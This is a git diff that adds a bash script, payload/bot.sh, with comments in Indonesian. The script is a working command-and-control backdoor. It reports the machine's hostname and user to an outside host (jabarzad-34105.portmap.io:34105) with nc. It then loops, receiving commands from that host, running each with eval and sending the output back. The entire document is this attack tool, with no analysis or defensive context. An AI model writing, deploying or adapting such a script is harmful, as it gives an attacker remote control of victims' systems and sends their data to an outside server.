diff --git a/payload/bot.sh b/payload/bot.sh new file mode 100644 index 0000000..4a6e128 --- /dev/null +++ b/payload/bot.sh @@ -0,0 +1,28 @@ +#!/bin/bash +#for nc +SERVER_HOST="jabarzad-34105.portmap.io" +SERVER_PORT=34105 +BOT_NAME=$(hostname) + +while true; do + # Kirimkan informasi awal ke server + echo "${BOT_NAME}|$(whoami)|$(id -u -n)" | nc $SERVER_HOST $SERVER_PORT + if [ $? -eq 0 ]; then + # Masuk ke mode interaktif untuk menerima perintah + while read -r command; do + if [ "$command" = "exit" ]; then + break + fi + + # Jalankan perintah dan kirim output kembali + output=$(eval "$command" 2>&1) + if [ -z "$output" ]; then + output="Command executed with no output." + fi + echo "$output" | nc $SERVER_HOST $SERVER_PORT + done < <(nc -l $SERVER_HOST $SERVER_PORT) + else + echo "Failed to connect to $SERVER_HOST:$SERVER_PORT. Retrying..." + sleep 5 + fi +done